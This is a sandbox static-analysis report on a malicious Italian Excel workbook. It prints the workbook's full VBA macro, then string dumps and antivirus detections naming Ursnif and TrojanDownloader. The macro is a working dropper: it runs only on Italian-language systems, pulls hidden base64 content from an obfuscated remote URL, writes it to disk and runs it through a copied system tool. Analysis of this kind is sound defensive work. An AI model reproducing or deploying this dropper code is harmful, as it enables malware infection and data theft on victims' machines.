popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub dati_imagine1()
c = Application.International(xlCountryCode)
Mi = Application.LanguageSettings.LanguageID(msoLanguageIDUI)
If c = 39 Or Mi = 1040 Then Revisione Else Application.Quit
End Sub

Sub Revisione()
dati_imagine
End Sub

Private Function DecodeBase64(strD As String)
    Dim i, inCount, outCount, firstTime
    Dim inArray(0 To 3) As Integer
    Dim outArray() As Byte
    Dim strData As String
strData = Fuchinni(strD)
firstTime = True
    While Len(strData) > 0
        

        inCount = 0
        For i = 1 To 4
            If Mid(strData, i, 1) <> "=" Then
                inArray(i - 1) = GetBy(Mid(strData, i, 1))
                inCount = inCount + 1
            Else
                Exit For
            End If
        Next

        

        outCount = inCount - 1
        If firstTime Then
            ReDim outArray(outCount - 1)
            firstTime = False
        Else
            ReDim Preserve outArray(campagnola(outArray) + outCount)
        End If

        
        outArray(campagnola(outArray) + 1 - outCount) = (inArray(0) And &H3F) * 4 + (inArray(1) And &H30) / 16
        If outCount >= 2 Then
            outArray(campagnola(outArray) + 2 - outCount) = (inArray(1) And &HF) * 16 + (inArray(2) And &H3C) / 4
        End If
        If outCount >= 3 Then
            outArray(campagnola(outArray) + 3 - outCount) = (inArray(2) And &H3) * 64 + (inArray(3) And &H3F)
        End If


        strData = Mid(strData, 5)
    Wend

    DecodeBase64 = outArray
End Function
Public Function Fuchinni(rng As String)
cnt = 3736
Fuchinni = Right(rng, Len(rng) - cnt)

End Function
Function abbonato()
abbonato = "[.!?,-:; ]"
End Function
Private Function cvs_list(ordine)

Dim oXMLHTTP As Object
Dim sPageHTML As String


On Error GoTo ErrHandler

Dim i As Long, StartNumber As Long
Const WAIT As Boolean = True
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")

StartNumber = 1

For i = StartNumber To 1
    
    
    
    oXMLHTTP.Open "GET", ordine, False
    oXMLHTTP.send
    sPageHTML = oXMLHTTP.responseText

    cvs_list = sPageHTML


Next

Set oXMLHTTP = Nothing
Application.StatusBar = ""


Exit Function

ErrHandler:
Debug.Print
Resume Next

End Function
Function costringeva(ByVal feticismo As String) As String
costringeva = Replace(RTrim(cvs_list(feticismo)), "-", "AA")
End Function
Function portandolo()
paniere = 67
portandolo = Application.DefaultFilePath
End Function
Public Function Generando(guard() As Byte, ByVal Istigato As String)
Dim tagliategli As Long: tagliategli = FreeFile
Open Istigato For Binary Access Write As tagliategli
Put tagliategli, 1, guard
Close tagliategli
End Function
Function campagnola(Mi As Variant)
 campagnola = UBound(Mi)
End Function
Function Menziona(proibire) As Byte()
Dim muletto() As Byte
Dim profumati As Integer
profumati = FreeFile
Open proibire For Binary Access Read As profumati
ReDim muletto(0 To LOF(profumati) - 1)
Get profumati, , muletto
Close profumati
Menziona = muletto
End Function
Function cojones(gestivo As String)
Dim yokohama()
eco = 98
ReDim yokohama(Len(gestivo))
For sbava = 1 To campagnola(yokohama)
yokohama(sbava) = Mid(gestivo, sbava, 1)
Next
For Each indossati In yokohama
If indossati Like abbonato = False Then cojones = cojones & indossati
Next
End Function
Private Function GetBy(noodles)
Dim stack
stack = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
GetBy = InStr(1, stack, noodles, vbBinaryCompare) - 1
End Function

Function spogliando() As String
caporeparto = portandolo & "\" & Int(93889825 * Rnd) + 273900 & "."
Generando DecodeBase64((sollevano(cojones("--115 6h t2 0t 2p 6s : 1") & "://" & cojones("freddisb") & "." & cojones(" /-c 12 o-3m 3")))), caporeparto
spogliando = caporeparto
End Function

Function brevettato(Rapendo) As Byte()
Dim portarcela() As Byte
Dim seguirle As Integer
seguirle = FreeFile
Open Rapendo For Binary Access Read As seguirle
ReDim portarcela(0 To LOF(seguirle) - 1)
Get seguirle, , portarcela
Close seguirle
brevettato = portarcela
End Function
Sub dati_imagine()
aggiunta = Ilstituto(spogliando)
End Sub
Function sollevano(ByVal emarginata As String) As String
Dim stupefatto As String
stupefatto = emarginata: sollevano = costringeva(stupefatto)
End Function

Function Ilstituto(analogico)
Dim polveriera() As Byte
polveriera = brevettato(Left(Environ(cojones("5 -3 8c- o0m 9s7p 10 1ec3")), 20) & cojones(" -11r 3-e8 0g,s 7 10v-8r1") & "32." & cojones("-1e 7;x 8e 51-"))
sommozzatore = geneeva
Debug.Print Generando(polveriera, sommozzatore)
sommozzatore = sommozzatore & " -s " & analogico
sommozzatore = Generando(polveriera, Shell(sommozzatore))
End Function
Function geneeva()
geneeva = portandolo & cojones("; -0\ 9c6 al9;c7") & "." & cojones(";8-9e 7;x 5;e-")
End Function

Deobfuscated

                                        Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub dati_imagine1()
c = Application.International(xlCountryCode)
Mi = Application.LanguageSettings.LanguageID(msoLanguageIDUI)
If c = 39 Or Mi = 1040 Then Revisione Else Application.Quit
End Sub

Sub Revisione()
dati_imagine
End Sub

Private Function DecodeBase64(strD As String)
    Dim i, inCount, outCount, firstTime
    Dim inArray(0 To 3) As Integer
    Dim outArray() As Byte
    Dim strData As String
strData = Fuchinni(strD)
firstTime = True
    While Len(strData) > 0
        

        inCount = 0
        For i = 1 To 4
            If Mid(strData, i, 1) <> "=" Then
                inArray(i - 1) = GetBy(Mid(strData, i, 1))
                inCount = inCount + 1
            Else
                Exit For
            End If
        Next

        

        outCount = inCount - 1
        If firstTime Then
            ReDim outArray(outCount - 1)
            firstTime = False
        Else
            ReDim Preserve outArray(campagnola(outArray) + outCount)
        End If

        
        outArray(campagnola(outArray) + 1 - outCount) = (inArray(0) And &H3F) * 4 + (inArray(1) And &H30) / 16
        If outCount >= 2 Then
            outArray(campagnola(outArray) + 2 - outCount) = (inArray(1) And &HF) * 16 + (inArray(2) And &H3C) / 4
        End If
        If outCount >= 3 Then
            outArray(campagnola(outArray) + 3 - outCount) = (inArray(2) And &H3) * 64 + (inArray(3) And &H3F)
        End If


        strData = Mid(strData, 5)
    Wend

    DecodeBase64 = outArray
End Function
Public Function Fuchinni(rng As String)
cnt = 3736
Fuchinni = Right(rng, Len(rng) - cnt)

End Function
Function abbonato()
abbonato = "[.!?,-:; ]"
End Function
Private Function cvs_list(ordine)

Dim oXMLHTTP As Object
Dim sPageHTML As String


On Error GoTo ErrHandler

Dim i As Long, StartNumber As Long
Const WAIT As Boolean = True
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")

StartNumber = 1

For i = StartNumber To 1
    
    
    
    oXMLHTTP.Open "GET", ordine, False
    oXMLHTTP.send
    sPageHTML = oXMLHTTP.responseText

    cvs_list = sPageHTML


Next

Set oXMLHTTP = Nothing
Application.StatusBar = ""


Exit Function

ErrHandler:
Debug.Print
Resume Next

End Function
Function costringeva(ByVal feticismo As String) As String
costringeva = Replace(RTrim(cvs_list(feticismo)), "-", "AA")
End Function
Function portandolo()
paniere = 67
portandolo = Application.DefaultFilePath
End Function
Public Function Generando(guard() As Byte, ByVal Istigato As String)
Dim tagliategli As Long: tagliategli = FreeFile
Open Istigato For Binary Access Write As tagliategli
Put tagliategli, 1, guard
Close tagliategli
End Function
Function campagnola(Mi As Variant)
 campagnola = UBound(Mi)
End Function
Function Menziona(proibire) As Byte()
Dim muletto() As Byte
Dim profumati As Integer
profumati = FreeFile
Open proibire For Binary Access Read As profumati
ReDim muletto(0 To LOF(profumati) - 1)
Get profumati, , muletto
Close profumati
Menziona = muletto
End Function
Function cojones(gestivo As String)
Dim yokohama()
eco = 98
ReDim yokohama(Len(gestivo))
For sbava = 1 To campagnola(yokohama)
yokohama(sbava) = Mid(gestivo, sbava, 1)
Next
For Each indossati In yokohama
If indossati Like abbonato = False Then cojones = cojones & indossati
Next
End Function
Private Function GetBy(noodles)
Dim stack
stack = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
GetBy = InStr(1, stack, noodles, vbBinaryCompare) - 1
End Function

Function spogliando() As String
caporeparto = portandolo & "\" & Int(93889825 * Rnd) + 273900 & "."
Generando DecodeBase64((sollevano(cojones("--115 6h t2 0t 2p 6s : 1") & "://" & cojones("freddisb") & "." & cojones(" /-c 12 o-3m 3")))), caporeparto
spogliando = caporeparto
End Function

Function brevettato(Rapendo) As Byte()
Dim portarcela() As Byte
Dim seguirle As Integer
seguirle = FreeFile
Open Rapendo For Binary Access Read As seguirle
ReDim portarcela(0 To LOF(seguirle) - 1)
Get seguirle, , portarcela
Close seguirle
brevettato = portarcela
End Function
Sub dati_imagine()
aggiunta = Ilstituto(spogliando)
End Sub
Function sollevano(ByVal emarginata As String) As String
Dim stupefatto As String
stupefatto = emarginata: sollevano = costringeva(stupefatto)
End Function

Function Ilstituto(analogico)
Dim polveriera() As Byte
polveriera = brevettato(Left(Environ(cojones("5 -3 8c- o0m 9s7p 10 1ec3")), 20) & cojones(" -11r 3-e8 0g,s 7 10v-8r1") & "32." & cojones("-1e 7;x 8e 51-"))
sommozzatore = geneeva
Debug.Print Generando(polveriera, sommozzatore)
sommozzatore = sommozzatore & " -s " & analogico
sommozzatore = Generando(polveriera, Shell(sommozzatore))
End Function
Function geneeva()
geneeva = portandolo & cojones("; -0\ 9c6 al9;c7") & "." & cojones(";8-9e 7;x 5;e-")
End Function
B
Questa_cartella_di_lavoro
"$"#,##0;\-"$"#,##0
"$"#,##0;[Red]\-"$"#,##0
"$"#,##0.00;\-"$"#,##0.00
"$"#,##0.00;[Red]\-"$"#,##0.00
_-"$"* #,##0_-;\-"$"* #,##0_-;_-"$"* "-"_-;_-@_-
_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-
_-"$"* #,##0.00_-;\-"$"* #,##0.00_-;_-"$"* "-"??_-;_-@_-
_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_-
_-;_-* "
-@_- }
_-;_-* "
-@_-
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_-
_-;_-* "
_-;_-* "
_-;_-* "
-@_- }
_-;_-* "
-@_-
_-;_-* "
-@_-
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
_-;_-* "
-@_-
}
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
_-;_-* "
20% - Colore 1
20% - Colore 2
20% - Colore 3
20% - Colore 4
20% - Colore 5
20% - Colore 6
40% - Colore 1
40% - Colore 2
40% - Colore 3
40% - Colore 4
40% - Colore 5
40% - Colore 6
60% - Colore 1
60% - Colore 2
60% - Colore 3
60% - Colore 4
60% - Colore 5
60% - Colore 6
Calcolo
Cella collegata
Cella da controllare
Colore 1
Colore 2
Colore 3
Colore 4
Colore 5
Colore 6
Neutrale
Output
Testo avviso
Testo descrittivo
Titolo
Titolo 1
Titolo 2
Titolo 3
Titolo 4
Totale
Valore non valido
Valore valido
06_12_2022
Foglio1.dati_imagine1
tEXtSoftware
Adobe ImageReadyq
"IDATx
X-K6 hc
m?*rTcz
MmV.[U
^<XB^oC
&/zU$5&
%$74U\m
.+YkH$^p
*v:k(Uxw*
,F-}A}
!|5|P5|P
GKd4;-6
rTU*^e
4Fr>A.T
UYAFVDI[W
|KOt_$MzN
]:/1he
'.!m/!
n*@Os#
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
{OU7o?
8M2!'V
&n($xz
EFq5L/
,.3}%_
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
ffffff
ffffff
333333
?333333
[Content_Types].xml
_rels/.rels
drs/shapexml.xml
;$%5mw
%CD)i$$
pqKAH7
<A?|kS
drs/downrev.xmlL
[Content_Types].xmlPK
_rels/.relsPK
drs/shapexml.xmlPK
drs/downrev.xmlPK
APRI || VISUALIZZA<
Foglio1g
Attribut
e VB_Nam
e = "Que
sta_cart
ella_di_
lavoro"
00020819
$ 0046}
IFalse
Creatabl
Predecl
BExpose
Template`Deriv
stomiz
[.!?,-:; ]'
MSXML2.XMLHTTP$
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
--115 6h t2 0t 2p 6s : 1$
freddisb$
/-c 12 o-3m 3$
5 -3 8c- o0m 9s7p 10 1ec3
-11r 3-e8 0g,s 7 10v-8r1
-1e 7;x 8e 51-$
; -0\ 9c6 al9;c7$
;8-9e 7;x 5;e-$
Attribut
e VB_Nam
e = "Fog
020820-
|GlobaBl
dCre atabl
Pr@edecla
plateDer
dati_im
agine1()
xlCountr yCode
Languag
eSetting
739 Or
1040 The
n Revisi
P@I@K Funct@
trD As S)
m i, in
> , outD
rstTim
nArray(
10o 3)
APgexr
-chinn~i
u1 To 4
@lMidE
, 1) <> x"="
Epxit
s0erveaQ
mpagnola
) +fUH+
`+&H3F) *\ 4@
) / 16
>= 20H
5D>Wend
8373@:
"[.!?,-:x; ]
vs_list(8ord
R8XM LHTTP
jec@?q
j0HTMLW
@On Err`PG
Handl)1\
bartN umberE
Const WA
twet o)%
u"GET"
eva(ByV
al fetic
RTrim(v'F
@)), "-
%olb/pan
ltFP~Path
;GenerA
Binary A
ccess Wr
roibire
0Reada
ohama1
!"sbava
CDEFGHIJ
KLMNOPQR
STUVWXYZ
abcdefgh
ijklmnop
uvwxyz
01234567p89+/
I2npK(1@
P Pa0Iep
" & `/(93@889825P
27390r0
("--115
6h t2 0
t 2p 6s : 1")
sb") & "
Pcojon
es(" /-c
12 o-3m
aporepar
liando =
2End Fun
breve
ttato(Ra
t) As
Byte()
`tar`cela(
eguirle
Integer
= FreeF@ile
` For Bi
nary Acc
ess ReadC
To LOF(A
Sub dati
_imagin
aggiunta
Ilstitu?
llevano(
ByVal em4ar
Stpring
upefatto+ADE
2anal`ogico
^l@verierJ}p
(Environ
5 -3 8
c- o0m 9
s7p 10 1
-11r 3-
e8 0g,s
;x 8e 51
e@B@Uebug.
P@[t G
Shell(
BV`tlo
; -0\ 9c
6 al9;c7!
Win64x
VBAProject
stdole
Office
Questa_cartella_di_lavoro
_Evaluate
Foglio1
dati_imagine1]
Application
International
xlCountryCode
LanguageSettings
LanguageID
msoLanguageIDUI5
Revisione
dati_imagine>
DecodeBase648
strDY5
inCount
outCount4Z
firstTimeq
inArray
outArray
strData@
Fuchinni
GetBy(
campagnola`
abbonato
cvs_list
ordineS
oXMLHTTPW7
sPageHTML
ErrHandler
StartNumberQ
CreateObject
responseText
StatusBar
costringeva
feticismomy
Replacef
portandolo
paniere
DefaultFilePath
Generando
Istigatok
tagliategli
MenzionarM
proibire
mulettoG
profumati
cojones
gestivo
yokohama
sbava'!
indossati
noodles
vbBinaryCompare
spogliando
caporeparto[
sollevano
brevettatoG
Rapendo2
portarcelaS
seguirle
aggiunta
Ilstituto
emarginata
stupefatto
analogico
polverieran\
Environ
sommozzatore
geneeva"
ShellV
Worksheet
VBAProje
stdole>
*\G{00
020430-
6}#2.0#0
#C:\Wind
ows\Syst em32\
tlb#OLE
Automati
EOffDic
2DF8D04C
5BFA-10
1B-BDE5
gram Fil
es\Commo
Micros
oft Shar
ed\OFFIC
E16\MSO.0DLL#
M 1@6.0 Ob
Library
sta_cart
ella_di_
lavoroG
Foglio1XG
@(g@/i
VBAProject
Questa_cartella_di_lavoro
Foglio1
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
cojones
Worksheet
dati_imagine1
Revisione
DecodeBase64
Fuchinni
abbonato
cvs_list
costringeva
portandolo
Generando
campagnola
Menziona
spogliando
brevettato
dati_imagine
sollevano
Ilstituto
geneeva
ordine
feticismo
Istigato
proibire
gestivo
noodles
Rapendo
emarginata
analogico$
Questa_cartella_di_lavoro
Foglio1
ID="{00000000-0000-0000-0000-000000000000}"
Document=Questa_cartella_di_lavoro/&H00000000
Document=Foglio1/&H00000000
HelpFile=""
Name="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="D1D37D7B817B817E867E86"
DPB="BDBF1187116E2E6E2E91D26F2EA0A66AA129D067F2004A406D5853519556569338EDFB32C6F2"
C="A9AB055606560656"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
Questa_cartella_di_lavoro=0, 0, 0, 0, C
Foglio1=26, 26, 790, 437, Z
Microsoft Excel
06_12_2022
Fogli di lavoro
Foglio di lavoro di Microsoft Excel 2003
Excel.Sheet.8
Root Entry
Workbook
_VBA_PROJECT_CUR
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1*
Calibri Light1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri
20% - Colore 1
20% - Colore 2
20% - Colore 3
20% - Colore 4
20% - Colore 5
20% - Colore 6
40% - Colore 1
40% - Colore 2
40% - Colore 3
40% - Colore 4
40% - Colore 5
40% - Colore 6
60% - Colore 1
60% - Colore 2
60% - Colore 3
60% - Colore 4
60% - Colore 5
60% - Colore 6
Calcolo
Cella collegata
Cella da controllare
Colore 1
Colore 2
Colore 3
Colore 4
Colore 5
Colore 6
Migliaia
Migliaia [0]
Neutrale
Normale
Output
Percentuale
Testo avviso
Testo descrittivo
Titolo
Titolo 1
Titolo 2
Titolo 3
Titolo 4
Totale
Valore non valido
Valore valido
Valuta
Valuta [0]
TableStyleMedium2PivotStyleLight16
Lettera
Rettangolo con angoli arrotondati 3
Immagine 2
Questa_cartella_di_lavoro
Foglio1
__SRP_2
__SRP_3
N0{00020819-0000-0000-C000-000000000046}
$*\Rffff*036590a6f3
N0{00020820-0000-0000-C000-000000000046}
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applicatio_VBA_PROJECT
__SRP_0
__SRP_1
*\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE#Microsoft Excel 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
2Questa_cartella_di_lavoro
016590a6f3
2Questa_cartella_di_lavoro
Foglio1
036590a6f3
Foglio1
oQuesta_cartella_di_lavoro
1Foglio1
PROJECTwm
PROJECT
SummaryInformation
DocumentSummaryInformation
CompObj
Antivirus Signature
Bkav Clean
Lionic Trojan.MSExcel.Alien.4!c
Elastic malicious (high confidence)
MicroWorld-eScan VB:Trojan.Valyria.7557
FireEye VB:Trojan.Valyria.7557
CAT-QuickHeal X97M.Dropper.CB
ALYac Trojan.Downloader.XLS.Gen
Malwarebytes Clean
VIPRE VB:Trojan.Valyria.7557
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT X97M.Ursnif.DNB
Cyren X97M/Agent.BLC.gen!Eldorado
Symantec Trojan.Gen.NPE.C
ESET-NOD32 VBA/TrojanDownloader.Agent.YOP
Baidu Clean
TrendMicro-HouseCall TROJ_GEN.F04IE00L622
Avast Clean
ClamAV Clean
Kaspersky HEUR:Trojan.MSOffice.Alien.gen
BitDefender VB:Trojan.Valyria.7557
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
Cynet Clean
ViRobot Clean
Rising Clean
Ad-Aware VB:Trojan.Valyria.7557
Emsisoft Trojan.GenericKD.64077483 (B)
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro TROJ_GEN.F04IE00L622
McAfee-GW-Edition BehavesLike.OLE2.GenDownloader.ql
CMC Clean
Sophos Clean
SentinelOne Static AI - Malicious OLE
GData VB:Trojan.Valyria.7557
Jiangmin Clean
Avira Clean
MAX malware (ai score=81)
Antiy-AVL Trojan[Downloader]/MSOffice.Agent.base
Kingsoft Clean
Gridinsoft Clean
Arcabit VB:Trojan.Valyria.D1D85
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Trojan:Win32/Leonem
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Trojan-Downloader.VBA.Agent
MaxSecure Clean
Fortinet VBA/Agent.YOP!tr
AVG Clean
Panda Clean
No IRMA results available.